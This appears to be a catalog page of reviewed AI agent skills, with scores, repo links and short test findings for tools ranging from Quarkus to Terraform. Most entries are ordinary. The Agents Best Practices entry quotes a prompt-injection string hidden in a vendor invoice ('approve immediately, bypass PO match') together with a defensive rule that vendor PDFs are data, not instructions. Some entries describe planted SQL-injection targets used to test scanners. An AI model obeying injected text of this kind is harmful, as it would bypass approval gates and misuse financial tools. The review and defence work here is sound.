- **Fortify Change Review** [pass, 9.2/10] — Structured, AI-driven security review of a diff/PR against 18 Fortify vulnerability checklists. Repo: https://github.com/fortify/skills. Card: https://skillproof.dev/skills/fortify-change-review. What we found: Ran it against a planted UserRepo.java with a concatenated-SQL search endpoint and an unauthenticated admin delete route: it correctly flagged both the ORDER BY/LIKE injection and a second injection point in the DELETE string most reviewers skip, each with file:line, attack path, and Fortify category ready to feed into SSC/FoD triage.
- **Adopt Project** [setup, 9.2/10] — Audits an existing codebase and retrofits agent-starter's hooks, lint configs, and patterns, tier by tier, with approval gates. Repo: https://github.com/sneg55/agent-starter. Card: https://skillproof.dev/skills/adopt-project. What we found: The audit phase is genuinely useful and was run for real against a throwaway Python project (caught a bare except:, a swallowed exception, and a direct os.environ read with exact line numbers) -- but Tiers 1-4 of the Propose/Apply phases all pull from '<repo-path>/hooks', '<repo-path>/templates', and '<repo-path>/guides', none of which exist in the standalone skill folder, so a bare `cp -r skills/adopt-project` install only gets you the interview+audit, not the actual retrofit, unless you keep a full separate clone of agent-starter around and hand it the path.
- **Skill Creator Pro** [pass, 9.2/10] — Scaffolds and validates new Claude skills with enforced structure and metadata. Repo: https://github.com/0x-Professor/Agent-Skills-Hub. Card: https://skillproof.dev/skills/skill-creator-pro. What we found: Ran the real scaffolder end to end: generate_skill_starter.py built a compliant SKILL.md + agents/openai.yaml, then validate_skill_pack.py correctly flagged the empty scripts/ folder as a real defect -- a genuine automated quality gate an ad hoc SKILL.md never gets.
- **Cortex Setup** [pass, 9.2/10] — Installs Snowflake CLI and Cortex Code CLI, OS-aware, with MCP-conflict guard. Repo: https://github.com/Snowflake-Labs/snowflake-ai-kit. Card: https://skillproof.dev/skills/cortex-setup. What we found: Runs a real safety-relevant preflight (checks ~/.claude/settings.json for a conflicting Snowflake MCP server before touching anything) and explicitly warns the fictional 'pip install snowflake-cortex-code' package doesn't exist — a concrete hallucination trap a generic baseline answer fell into.
- **Quarkus** [pass, 9.2/10] — Decision-tree entrypoint into 25+ Quarkus reference modules with copy-ready, current APIs. Repo: https://github.com/b6k-dev/quarkus-skill. Card: https://skillproof.dev/skills/quarkus. What we found: The Panache and web-rest reference modules give exact, current API calls (Page.ofSize/query.nextPage/pageCount, @ServerExceptionMapper, RestResponse over raw Response) that a memory-only answer would likely blur into a plausible-but-imprecise guess.
- **AI Chat (AceDataCloud)** [setup, 9.2/10] — Reference docs for AceDataCloud's paid unified LLM gateway (GPT/Claude/Gemini/Grok/50+ models) -- auth guide lives in a sibling folder the verbatim install leaves behind. Repo: https://github.com/AceDataCloud/Skills. Card: https://skillproof.dev/skills/ai-chat. What we found: SKILL.md's own compatibility line points to '../_shared/authentication.md' for the required API token setup -- a literal cp -r skills/ai-chat leaves that file behind, so the one manual step (getting/wiring ACEDATACLOUD_API_TOKEN) has no instructions once installed standalone.
- **BLE GATT Integration** [pass, 9.2/10] — Structured 6-step BLE GATT debug workflow separating radio, discovery, attributes, security, and throughput Repo: https://github.com/easyzoom/aix-skills. Card: https://skillproof.dev/skills/ble-gatt-integration. What we found: Threw a two-fault BLE scenario at it (CCCD write 'succeeded' but no notifications arriving, MTU stuck at default 23 with a 40-byte payload, no pairing configured on an encryption-required characteristic) - the skill's Common Failures table maps directly onto both real root causes (encryption-without-bonding gate, ATT payload truncation) and its 6-step workflow surfaces both systematically, where an unguided answer reached for generic CCCD/sniffer advice and never called out the security gate as the likely primary blocker.
- **Agent Copy** [pass, 9.2/10] — Byte-verified copy of your canonical AGENTS.md into a repo, plus a structured repo-specific tail Repo: https://github.com/shane9coy/Agent-Skill-Architecture-Guide. Card: https://skillproof.dev/skills/agent-copy. What we found: Ran the full workflow against a throwaway repo with HOME pointed at a fake canonical source: the skill's own `head | cmp` verification step confirmed a byte-exact preamble copy, something a baseline unguided rewrite got wrong by paraphrasing the source instructions instead of copying them.
- **Git Ops** [pass, 9.2/10] — One engineer's Git branch/commit/push rulebook - naming convention, JetBrains DontCommit guard, Chinese commit defaults Repo: https://github.com/codingSamss/all-my-ai-needs. Card: https://skillproof.dev/skills/git-ops. What we found: Exercised it against a real throwaway git repo with a local bare 'origin': the skill-guided flow produced the exact feature/20260716/MR2026070199001_login_retry branch name, correctly parsed a fake .idea/workspace.xml to find and exclude a DontCommit-listed secrets-style file from staging, and defaulted to a Chinese commit message - the unguided baseline run on the identical fixture used a generic non-conforming branch name, `git add -A`'d the secrets-looking file straight into the commit, and used English.
- **Elixir Genius** [pass, 9.2/10] — Opinionated Elixir/Phoenix/OTP architecture playbook that outputs a full ADR-and-guardrail documentation package, not just code. Repo: https://github.com/agoodway/.claude. Card: https://skillproof.dev/skills/elixir-genius. What we found: Produced a materially more prescriptive architecture brief than a baseline Elixir answer: it forces specific library choices (Req not HTTPoison, Jason not Poison), integer-cents money fields, optimistic locking, and a full ADR/guardrail/handoff doc package — but it ships as a raw personal dotfiles repo with zero README, and its allowed-tools list grants mcp__tidewave__* and mcp__context7__* MCP tools that the skill body never actually calls.
- **HTML CSS First** [pass, 9.2/10] — Pushes frontend builds toward native HTML/CSS (details, popover, :has(), scroll-driven animation) before reaching for JS. Repo: https://github.com/macdonst/html-css-first. Card: https://skillproof.dev/skills/html-css-first. What we found: Built and rendered the same FAQ accordion twice in a real browser: the baseline JS version needs ~15 lines of click-handler code and goes completely dead with JS disabled, while the skill's <details name="faq"> version gets smooth CSS animation AND native mutually-exclusive open/close for free, verified live with zero JavaScript attached.
- **ClawBox Chat Stream** [pass, 9.2/10] — Repo-embedded debugging map for ClawBox's chat SSE streaming across the React frontend and Bun bridge Repo: https://github.com/CommonstackAI/ClawBox. Card: https://skillproof.dev/skills/clawbox-chat-stream. What we found: Verified the skill's specific code pointers against the real source instead of taking them on faith: its guardrail 'for title/unread-count issues inspect the finally path in useChat.ts' led straight to the exact block (lines 131-149) and surfaced a real subtlety -- unread-count increments only fire in onDone, not in the finally cleanup, so a stream that ends without onDone firing silently loses the unread badge. A blind grep for 'reasoning' across the repo, by contrast, pulled in two unrelated files (soul.ts, onboard/routes.ts) the skill's fixed file list correctly excludes.
- **Non-Engineering Verticals** [setup, 9.2/10] — C-suite/compliance/PM/finance reference templates for a single solo-founder's Cloudflare-Workers stack. Repo: https://github.com/heymegabyte/claude-skills. Card: https://skillproof.dev/skills/non-engineering-verticals. What we found: The templates themselves are solid (investor-update format, PRD/OKR structure, SaaS-metric formulas all check out) and beat a generic reply, but this is one slice of a much larger personal 20-module 'operating system' repo — it's addressed to a named person ('Brian'), hard-wired to one specific stack (Cloudflare Workers + Clerk + PostHog + D1/R2), and its own 'Cross-links' point at rules/*.md and other numbered folders that aren't included when only this skill directory is copied.
- **Addressables** [pass, 9.2/10] — Unity Addressables cookbook: handle-lifecycle discipline, label loading, and the IsValid()-before-release rule most devs skip. Repo: https://github.com/XeldarAlz/everything-claude-unity. Card: https://skillproof.dev/skills/addressables. What we found: Wrote a real label-loading MonoBehaviour two ways: the baseline free-form version released its handle without an IsValid() guard (a real double-release/exception risk if load never completed); the skill-guided version followed the doc's Handle Lifecycle + Label-Based Loading patterns verbatim and caught it, adding the IsValid() check and a status/OperationException log the baseline omitted.
- **CC Agent Design** [pass, 9.2/10] — Reverse-engineered Claude Code built-in agent configs (tools, model routing, omitClaudeMd) turned into a design checklist for your own subagents. Repo: https://github.com/cablate/ai-toolkit. Card: https://skillproof.dev/skills/cc-agent-design. What we found: Its central claim — reverse-engineered built-in-agent configs — checks out against ground truth: this very session's own Explore and Plan agent tool-lists ('All tools except Agent, Artifact, ExitPlanMode, Edit, Write, NotebookEdit') match the skill's documented disallowedTools almost exactly, which is unusually strong corroboration for a third-party 'reverse-engineering' claim. Entire skill body and description are in Traditional Chinese, which won't block Claude from using it but is a real readability barrier for most catalog users.
- **Keras3 (R)** [pass, 9.2/10] — Idiomatic Keras3 patterns for R: Sequential/Functional/Subclassing APIs, multi-backend, callbacks. Repo: https://github.com/GiulSposito/r-claude-skills. Card: https://skillproof.dev/skills/keras3. What we found: Baseline R code used the keras2-era `layer_input()` (not exported by keras3, would error at runtime) and `%>%`/c()-based tensor merging; the skill's own patterns correctly use `keras_input()`, `layer_add(list(...))`, and named callback constructors — a real, verifiable correctness fix, not just style.
- **GH Fetch** [pass, 9.2/10] — Use the gh CLI instead of web-fetching GitHub issue/PR/repo/discussion links. Repo: https://github.com/retlehs/gh-fetch. Card: https://skillproof.dev/skills/gh-fetch. What we found: Ran a real A/B on a live PR (cli/cli#13843): WebFetch on the GitHub page came back vague ('the page doesn't display specific file details'), while `gh pr diff` returned the exact line-by-line diff with real commit SHAs and a 6/6 additions/deletions count — a concrete, verifiable win for the CLI route the skill mandates.
- **Yandex Games Dev** [pass, 9.2/10] — Yandex Games SDK integration (ads, saves, leaderboards) and moderation checklist for HTML5, Godot, and Unity games -- always re-fetches live rules first. Repo: https://github.com/Ayubjon/yandex-games-skill. Card: https://skillproof.dev/skills/yandex-games-dev. What we found: Gave the correct nested ysdk.features.LoadingAPI.ready() path and { callbacks: {...} } ad-callback shape (a generic-knowledge baseline guessed at a flat/top-level ready() instead), and named the #1 real moderation rejection reason (ready() never called, loader never hides) straight from the bundled rejection checklist instead of guessing.
- **Composer Dependencies** [pass, 9.2/10] — Systematic, changelog-first playbook for safe Composer dependency updates. Repo: https://github.com/krzysztofsurdy/code-virtuoso. Card: https://skillproof.dev/skills/composer-dependencies. What we found: Follows a genuinely disciplined update cycle (audit, changelog-first, small batches, why-not before major bumps) that a generic answer skips entirely -- the skill-guided plan surfaced composer why-not and a post-update re-audit that the baseline answer never mentioned.
- **Three.js Parallax** [pass, 9.2/10] — Three.js recipe for layered-PNG 2.5D parallax cards with mouse + scroll drift. Repo: https://github.com/JudyZZ/threejs-parallax-skill. Card: https://skillproof.dev/skills/threejs-parallax. What we found: Built the same 3-layer test card two ways and served both over a local http server: the naive baseline stacked all layers dead-center with no colorSpace fix, while the skill-guided version — following its own worked example verbatim — spread the layers into the documented diagonal composition with correct render order and zero console errors.
- **API Versioning** [pass, 9.2/10] — Reference patterns for versioning, deprecating, and migrating REST APIs without breaking clients. Repo: https://github.com/wpank/ai. Card: https://skillproof.dev/skills/api-versioning. What we found: Applied to a real breaking-change scenario (rename a field, change auth), it produced an exact RFC 8594 Sunset-header spec, a 410-Gone JSON body, and a concrete 12-month public-API deprecation minimum — a generic baseline only gestured at 'communicate the change' without any of that.
- **GitLab Skill** [pass, 9.2/10] — GitLab issue/MR fetcher, executive-summary and code-review generator, and auto-resolve-to-MR workflow via a real CLI. Repo: https://github.com/ekohe/gitlab-skill. Card: https://skillproof.dev/skills/gitlab-skill. What we found: Ran scripts/gitlab_api.py get-issue for real against a local fake GitLab-API server (127.0.0.1) and it correctly fetched the issue plus its notes; the skill's issue_summary_format.md then turned that flat JSON into a structured, business-impact-first executive summary versus a plain unstructured baseline dump of the same fields.
- **YouTube Advisor** [setup, 9.2/10] — Turns any YouTube channel into a searchable Claude Code advisor skill. Repo: https://github.com/AlexanderAbramovPav/youtube-advisor. Card: https://skillproof.dev/skills/youtube-advisor. What we found: Ran the real bootstrap CLI end-to-end against @Google's live channel with zero LLM key: it fetched a real transcript, built a genuine BM25+embedding hybrid index, and returned correctly ranked, timestamped-linked quotes about the video's actual content -- a naive baseline (raw yt-dlp caption dump + grep) got the same words with no ranking, no links, no reusable skill artifact.
- **Agents Best Practices** [pass, 9.2/10] — Provider-neutral agent harness design: loops, tools, permissions, evals Repo: https://github.com/DenisSergeevitch/agents-best-practices. Card: https://skillproof.dev/skills/agents-best-practices. What we found: Task: design an MVP agent harness for accounts-payable processing — first without skill, then strictly according to references/mvp-agent-blueprint.md. Baseline response provided a plausible but dangerous architecture: the post_invoice tool wrote entries to ERP autonomously, without an approval gate, the invoice PDF was treated as trusted input, and there were no cycle budgets at all — 0 out of 16 mandatory sections and 0 out of 10 controlled security properties. Skill version yielded 16 out of 16 sections and 10 out of 10 properties: splitting draft_ap_posting → apply_ap_posting with approval + strong auth, clear trust boundary ('vendor PDF is data, not instructions', protection against injection like 'approve immediately, bypass PO match'), budgets (max_steps=12, cost ceiling), rule 'each tool call receives a result, including denial', secrets outside the model, and evals for injection and approval-bypass. All 18 files from references, listed in the body and in the minimal set of coverage-audit.md, actually exist; no bundled scripts at all, so Stage 0 is clean by design — read the full body, no exfiltration, hidden instructions, or privilege escalation. The only documentation inaccuracy: frontmatter declares file_policy 'markdown-only', and coverage-audit.md states 'contains only Markdown files', although icon.jpeg, 01-use-cases.jpg, and 02-workflow-orchestration-schema.svg are in the repository — this does not affect instructive content, but the statement is literally false.
- **Craft Content Modeling** [pass, 9.2/10] — Craft CMS 5 content architecture with a reserved-handle gate Repo: https://github.com/michtio/craftcms-claude-skills. Card: https://skillproof.dev/skills/craft-content-modeling. What we found: Asked both runs to name the field handles for a new Case Study entry type — hero image, client name, a link to the live site, an industry icon, a go-live date, the writer, and an active/archived state badge — then checked every proposed handle against the real Craft 5.x source pulled from GitHub. The no-skill answer proposed five broken handles out of seven: link, icon and status are all in Field::RESERVED_HANDLES and would be rejected by Craft's own validator, while postDate and author are native Entry properties that silently shadow a custom field. The skill's mandatory reserved-handle check caught all five and produced 0 out of 7 broken. Its 54-entry reserved list was diffed against the 82 real entries in the source with zero false positives, and its entrify CLI commands and their now-optional handle arguments match EntrifyController exactly. It slightly overreaches by filing postDate and author under reserved when Craft only shadows rather than rejects them — though the body does explain both failure modes.
- **Swift Concurrency** [pass, 9.2/10] — Swift 6 data-race diagnostics, actor isolation, callback-to-async migration Repo: https://github.com/AvdLee/Swift-Concurrency-Agent-Skill. Card: https://skillproof.dev/skills/swift-concurrency. What we found: Task: bring a model with a callback loader and shared cache to a clean build in Swift 6 — swiftc -swift-version 6 gave 3 errors «main actor-isolated property ... from a Sendable closure». The baseline run without the skill — a reflexive fix Task { @MainActor in ... } — compiled cleanly (0 errors), meaning both versions were equal according to the compiler. The difference emerged in the next step: the skill, following the rule «shared mutable state → actor», made Cache an actor, while the baseline version left it as a class; when I added a realistic requirement (warming the cache from a background Task.detached), the baseline option failed with the error «non-sendable type 'Cache' ... cannot cross actor boundary», while the skill version compiled cleanly (exit 0). The skill also first forced fixing the language mode and applied its Task entry isolation rule, leaving the inherited @MainActor, because the synchronous prefix mutates isLoading. All 15 references/ files were in place, installation was checked in an empty HOME without ~/.claude. A link to the author's paid course was present, but honestly disclosed in the footer and marked «use sparingly».
- **Secscan** [pass, 9.2/10] — In-session LLM SAST triage with adversarial verify and schema-checked findings Repo: https://github.com/atgreen/secscan-skill. Card: https://skillproof.dev/skills/secscan. What we found: Ran it against a planted Node target: it confirmed the string-concatenated SQLi at app.js:11 with a source-to-sink file:line trace and correctly killed the parameterized /search query as a false positive, which a plain grep-for-SQL baseline flags. The bundled zero-dependency validate-findings.cjs is real: it rejected a findings.json with the wrong field types and passed the corrected one. Note the README advertises a private ssh://cave@moxielogic.com clone URL that fails for a first-time user; the working command is the public GitHub clone above.
- **Build With TinyBase** [pass, 9.2/10] — Scaffold and extend local-first TinyBase JS/TS apps with correct persistence and sync wiring Repo: https://github.com/tinyplex/tinybase. Card: https://skillproof.dev/skills/build-with-tinybase. What we found: Ran the skill's exact scaffold command end to end: 'npm create tinybase@latest' with the documented non-interactive flags produced a full typed React todo app that ran the skill's own verify step — 'tsc && vite build' — clean, 40 modules, no type errors. The generated Store wires persistence in the correct order the skill insists on (await persister.load() before startAutoSave, typed tinybase/...with-schemas subpaths) — exactly the lifecycle and import details a from-memory hand-roll routinely gets wrong. A clear win over reconstructing setup from memory, with a verifiable build to prove it.
- **WebGPU Three.js with TSL** [pass, 9.2/10] — Current-API reference for Three.js WebGPU renderer and TSL node shaders Repo: https://github.com/dgreenheck/webgpu-claude-skill. Card: https://skillproof.dev/skills/webgpu-threejs-tsl. What we found: Asked for a minimal WebGPU Three.js scene with a time-animated TSL material; the no-skill baseline reaches for the stale three/examples/jsm WebGPURenderer path and GLSL, while the skill pins the current three/webgpu + three/tsl imports, await renderer.init(), MeshStandardNodeMaterial and colorNode method chaining. Backed by 2,759 lines of accurate docs and five runnable example files that all match the shipped API.
- **Solidifier** [pass, 9.2/10] — SOLID refactoring with restraint — measurably less abstraction bloat Repo: https://github.com/FernandoJRR/solidifier. Card: https://skillproof.dev/skills/solidifier. What we found: Refactored the same tangled Python billing service twice: without the skill the result was 178 lines and 14 classes of ABC-and-factory ceremony; following the skill produced a behavior-identical 111-line, 3-class version, with equivalence proven by a shared test harness run against the original. The skill's restraint rules measurably prevented abstraction bloat while keeping the pure logic testable without any I/O mocks. It also correctly left an already-clean helper file untouched, exactly as its docs promise. Install command verified verbatim from a bare HOME with no ~/.claude.
- **Crawl APIs** [pass, 9.2/10] — Scan a codebase for REST, GraphQL, gRPC and OpenAPI definitions Repo: https://github.com/ea-toolkit/architecture-catalog. Card: https://skillproof.dev/skills/crawl-apis. What we found: Ran the skill's exact detection patterns against a purpose-built target holding six different API styles and it found all six (6/6) - including the NestJS decorator controller, the GraphQL schema, and the gRPC proto service that a naive one-pass grep-for-route/api baseline completely missed (3/6). The multi-protocol taxonomy plus dedup check and draft-only status discipline is a concrete, reproducible edge over ad-hoc searching. The write-back step depends on the catalog's models/registry-mapping.yaml and templates, so full registry output works within its home repo; the discovery core works anywhere.
- **MCP Builder** [pass, 8.8/10] — Build MCP servers that connect Claude to your tools. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/mcp-builder. What we found: Built a working MCP server wrapping an internal REST API, with tool schemas and error handling, in about an hour of supervised work.
- **Tool Calling Tutor** [setup, 8.8/10] — Interactive 4-branch diagnostic that walks a developer through why their LLM won't call, or mis-calls, a tool. Repo: https://github.com/WenyuChiou/awesome-agentic-ai-zh. Card: https://skillproof.dev/skills/tool-calling-tutor. What we found: The documented standalone-install steps don't copy files its own walkthrough links to two folders up, leaving broken references - confirmed against the README's own instructions, not just a guess.
- **Kiro Debug** [pass, 8.8/10] — Root-cause-first debug protocol that blocks guess-and-check patching after a failed fix Repo: https://github.com/gotalab/cc-sdd. Card: https://skillproof.dev/skills/kiro-debug. What we found: Reproduced a real failing pytest (integer-division bug) and ran both approaches: baseline jumped straight to a one-line fix, while the skill forced a structured Debug Report (ROOT_CAUSE, CATEGORY: LOGIC_ERROR, FIX_PLAN, VERIFICATION, NEXT_ACTION: RETRY_TASK, CONFIDENCE: HIGH) that correctly identified the same root cause but in a form an orchestrating agent could act on directly.
- **Terraform Skill** [pass, 8.8/10] — Diagnosis-first Terraform/OpenTofu guidance with version-aware guardrails and reference docs. Repo: https://github.com/antonbabenko/terraform-skill. Card: https://skillproof.dev/skills/terraform-skill. What we found: Fetched all 8 reference files it links to (code-patterns, state-management, CI/CD, security-compliance, testing-frameworks, module-patterns, code-intelligence, quick-reference) — every one resolves, and its count-to-for_each migration answer forces an explicit rollback plan and terraform-plan validation step that a baseline answer skipped.
- **API Discipline** [pass, 8.8/10] — Validator-clean REST/OpenAPI specs with a mandatory cross-endpoint consistency audit. Repo: https://github.com/Skillproofdev/api-discipline. Card: https://skillproof.dev/skills/api-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Across 7 API design/review tasks scored with real validators (Redocly, Spectral, oasdiff), the skill eliminated OpenAPI structural errors (0 vs 18 combined on two greenfield specs), cross-endpoint consistency violations (0 vs 6), and HTTP-semantics errors (0 vs 3) against a bare-agent baseline. Two real caveats are published in verdict.md rather than hidden: the skill lost the T6 seeded-violation review by one seed (9/10 vs 10/10, missing a 201-without-Location finding the bare agent caught), and the T4 breaking-change task is excluded from the win claim because the skill arm was found to have seen a ground-truth hint before analyzing. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Commit Discipline** [pass, 8.8/10] — Commit messages that match the diff, not just the format — measured, not assumed. Repo: https://github.com/Skillproofdev/commit-discipline. Card: https://skillproof.dev/skills/commit-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Bench ran 15 real diffs from curl/redis/express/fastapi/eslint/django/rust-analyzer/astro through baseline vs. skill agents: diff coverage rose 83.2%→96.7%, fabrications fell 1→0, split detection on planted multi-concern diffs went 0/2→2/2, and blind A/B preference favored the skill 9-4-2. Judging was in-model-family (self-preference risk, n=15, not statistically significant) and the base arm still won 3 fixtures outright on tightly-scoped diffs — both caveats are stated plainly in the skill's own verdict.md and README. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Agents Consilium** [pass, 8.8/10] — Runs Codex/OpenCode/Gemini/Claude in parallel for independent second opinions and 2-specialist code review. Repo: https://github.com/CodeAlive-AI/ai-driven-development. Card: https://skillproof.dev/skills/agents-consilium. What we found: Re-ran the live dry runs against the new upstream: --list-agents printed the grounded environment check (Codex and OpenCode backends unavailable here, Claude Code available), now correctly listing the freshly added Grok 4.5 and Claude Fable profiles, and superreview --dry-run validated its full multi-stage plan and exited 0. The verbatim git clone plus cp install still works from a bare HOME with no ~/.claude. Nothing structural moved since our first pass. The upstream edits are additive config and doc polish, not behaviour changes, so the grounded-check advantage that earned the pass is intact.
- **CesiumJS Camera** [pass, 8.8/10] — CesiumJS camera reference: flyTo/lookAt/setView with altitude-pitch tables and navigation-constraint gotchas. Repo: https://github.com/CesiumGS/cesiumjs-skills. Card: https://skillproof.dev/skills/cesiumjs-camera. What we found: Ran a real flyTo-to-landmark task both ways: the skill version justifies altitude/pitch (1000m, -30deg) straight from its documented table and remembers flyTo doesn't return a Promise, where a baseline attempt just guesses plausible-looking numbers with no rationale.
- **OMA DB Agent** [pass, 8.8/10] — Database design specialist: schema layers, 3NF/BASE tradeoffs, indexing, and vector/RAG retrieval architecture. Repo: https://github.com/first-fluke/oh-my-agent. Card: https://skillproof.dev/skills/oma-db. What we found: The SKILL.md packs a genuinely thorough 194-line database spec (3NF/BASE tradeoffs, ACID vs consistency documentation, ISO 27001-aware guardrails, vector/RAG retrieval rules), but two of its own references (../_shared/core/*, ../oma-observability/SKILL.md) live outside the oma-db folder and go dark on a plain skill-dir copy.
- **Xcode Makefiles** [setup, 8.8/10] — Installs an AGENT_NAME-isolated Makefile + script toolkit for CLI-only Xcode builds. Repo: https://github.com/robertguss/claude-code-toolkit. Card: https://skillproof.dev/skills/xcode-makefiles. What we found: Actually ran the bundled install.sh --dry-run and a real install against a fake Xcode project: it correctly writes a Makefile with build/DerivedData/<AGENT_NAME>, build/logs/<AGENT_NAME> etc. exactly as documented, but the real (non-dry-run) install always exits 1 with an AppleScript syntax error from a broken move_to_trash.sh quoting bug — the files ARE copied correctly, but it looks like a failed install and needs a manual `echo $?`-style sanity check.
- **ULW Plan** [pass, 8.8/10] — Explore-first planner that turns vague briefs into one decision-complete plan. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/ulw-plan. What we found: The skill's own worked example — a 5/min-per-IP rate limit on /login — makes a great acid test: running it surfaced two real owner-decisions (Redis vs in-memory store, response body shape) that a plain baseline plan had silently assumed away instead of asking.
- **Iterative Development** [pass, 8.8/10] — Audited sprint loop for large ambiguous specs — proof obligations over checked boxes. Repo: https://github.com/prime-radiant-inc/iterative-development. Card: https://skillproof.dev/skills/iterative-development. What we found: This orchestrator is the front door to a 6-skill plugin bundle — copying only its own SKILL.md leaves it calling extracting-requirements, scoping-the-simplest-core, and four other named skills that must ship alongside it. On a toy spec it correctly forced a testable 'proof obligation' per story and refused to let scope grow past a single working end-to-end journey, a discipline a freeform task list skipped entirely.
- **Golang Database** [pass, 8.8/10] — Go database/sql, sqlx, pgx best practices — parameterization, transactions, pooling, NULLs. Repo: https://github.com/samber/cc-skills-golang. Card: https://skillproof.dev/skills/golang-database. What we found: Fed it a Go handler with string-formatted SQL and no rows.Close(); it named the exact violated rule (#5 'rows MUST be closed') and rewrote the function with sqlx.GetContext and explicit sql.ErrNoRows handling instead of just flagging 'looks unsafe.'
- **Dev Planning** [setup, 8.8/10] — AI DevKit planning phase: turns requirements/design/testing docs into a traceable, milestone-based task plan. Repo: https://github.com/codeaholicguy/ai-devkit. Card: https://skillproof.dev/skills/dev-planning. What we found: Its step 6 ('verify every test-plan scenario has a task') is a real forcing function: on a CSV-export feature, it surfaced a concurrency-handling task for the 'concurrent export requests' test scenario that a plain freeform task list skipped entirely.
- **Oma Dev Workflow** [setup, 8.8/10] — Monorepo task automation specialist for mise-based lint/test/build/release pipelines. Repo: https://github.com/first-fluke/oh-my-agent. Card: https://skillproof.dev/skills/oma-dev-workflow. What we found: Fed it a made-up monorepo pre-commit task and it correctly reached for mise's changed-scope verbs (lint:changed, test:changed) instead of a generic lint-staged setup, but the skill leans on a sibling _shared/ folder and the oma agent:spawn CLI from its parent oh-my-agent framework, so copying just this one folder loses some of the polish.
- **Web Artifacts Builder** [pass, 8.8/10] — Scaffolds a real Vite + shadcn/ui React app and bundles it into one portable HTML artifact. Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/web-artifacts-builder. What we found: Its init script pulls a real 40-component shadcn/ui tarball (verified: downloads clean at 19.9KB) and drives a genuine Vite+Parcel build into a single offline HTML file — real Radix-backed components, not hand-approximated Tailwind look-alikes a baseline artifact would produce.
- **Flow Next Ralph Init** [setup, 8.8/10] — Scaffolds a repo-local autonomous coding-agent loop for the flow-next Ralph harness. Repo: https://github.com/gmickel/flow-next. Card: https://skillproof.dev/skills/flow-next-ralph-init. What we found: This is plugin-internal machinery, not a portable skill: it only fires on the literal /flow-next:ralph-init command (user-invocable: false) and needs the whole flow-next plugin's scripts/templates/hooks tree installed alongside it, not just this SKILL.md copied into a skills folder.
- **AWS CloudFormation Lambda** [pass, 8.8/10] — CloudFormation patterns and limits for production Lambda: layers, DLQ, API Gateway. Repo: https://github.com/giuseppe-trisciuoglio/developer-kit. Card: https://skillproof.dev/skills/aws-cloudformation-lambda. What we found: Asked for a Lambda-with-DLQ-and-tracing template both cold and skill-guided: the skill version added constraints a generic answer skipped, like the DLQ needing to sit in the same region as the function and the 4KB total cap on environment variables.
- **Hooks Management** [pass, 8.8/10] — Turns plain-English requests into validated Claude Code / Codex / OpenCode hook configs. Repo: https://github.com/CodeAlive-AI/ai-driven-development. Card: https://skillproof.dev/skills/hooks-management. What we found: Asked it to block edits to .env files: the baseline and skill converged on the same exit-2 grep pattern, but the skill added two things the baseline missed — the mandatory 'restart the agent for changes to take effect' warning and a call to the bundled scripts/validate_hooks.py before saving, both genuine gotchas a naive answer skips.
- **Git Master** [pass, 8.8/10] — Atomic commit splitting, safe rebase/squash, and git history archaeology in one skill. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/git-master. What we found: Ran it on a real 3-file diff (impl + its test + an unrelated config file): baseline instinct was one grab-bag commit, the skill produced two atomic, style-matched commits (feat:/chore:) with test correctly paired to implementation — a genuine, verifiable improvement, though the phase-by-phase blocking output is heavy machinery for a diff this small.
- **AWS CloudFormation DynamoDB** [pass, 8.8/10] — CloudFormation patterns for DynamoDB tables, GSIs, TTL, streams, and auto-scaling. Repo: https://github.com/giuseppe-trisciuoglio/developer-kit. Card: https://skillproof.dev/skills/aws-cloudformation-dynamodb. What we found: Ran a real GSI+TTL+PITR mini-task: the generated template matched constraints a baseline answer tends to skip, like auto-scaling requiring PROVISIONED billing and TTL needing a Number attribute, plus a validate/deploy/rollback checklist baseline output lacked.
- **Plan Execute** [setup, 8.8/10] — Claude orchestrates Codex CLI to implement a plan, reviews the diff, loops until it passes. Repo: https://github.com/longranger2/claude-gpt-workflow. Card: https://skillproof.dev/skills/plan-execute. What we found: Solid orchestration template (batching, Codex delegation prompt, severity-scored review file), but it's inert without the companion `codex` skill and a locally installed, authenticated Codex CLI — this repo alone won't run.
- **Database Driver Design** [pass, 8.8/10] — Swift DB driver patterns: wire protocol, NIO pooling, backpressure, state machines. Repo: https://github.com/wendylabsinc/claude-skills. Card: https://skillproof.dev/skills/database-driver-design. What we found: Asked it to design an injection-safe typed command for a Redis-style SET; instead of a generic struct-and-string-concat baseline it produced the DatabaseCommand protocol plus ExpressibleByStringInterpolation pattern lifted straight from postgres-nio/valkey-swift practice.
- **Design Explore** [setup, 8.8/10] — Forces a 2-4 option pros/cons/criteria matrix before any architecture or refactor code gets written. Repo: https://github.com/vbcherepanov/total-agent-memory. Card: https://skillproof.dev/skills/design-explore. What we found: Ran a real mini design decision (API rate limiting) through the template: baseline gave one paragraph recommending Redis; the skill forced three named options scored on a 4-criterion matrix with an explicit discard rationale, a materially more auditable artifact. Real friction: it's shipped as an example inside a large separate MCP memory server project, and steps 1/5 (memory_recall/analogize/save_decision) only work once that whole server is installed and connected.
- **ArgoCD Helm** [pass, 8.8/10] — Production-grade ArgoCD 3.x + Helm 3.x patterns: Application manifests, ApplicationSets, canary rollouts, secrets. Repo: https://github.com/mujez/claude-skills. Card: https://skillproof.dev/skills/argocd-helm. What we found: Asked for an ArgoCD Application over Helm with HPA-safe automated sync: baseline produced a workable but bare manifest, the skill added the finalizer, retry/backoff block, and PrunePropagationPolicy=foreground that turn it into something you'd actually run in prod.
- **Deep Brainstorming** [pass, 8.8/10] — Multi-round, bias-audited research process for costly-to-reverse tech and architecture picks. Repo: https://github.com/belumume/claude-skills. Card: https://skillproof.dev/skills/deep-brainstorming. What we found: Ran a real search-tech decision for an offline-first notes app: an unguided pass reached straight for Elasticsearch/Algolia (server-dependent, wrong fit for the stated offline requirement); following the skill's sanitize-vision + bias-audit + independent-verification steps caught that exact marketing/popularity-bias failure and, backed by 3 live corroborating sources, redirected to embedded serverless options (SQLite FTS5 / Tantivy) that actually satisfy the constraint.
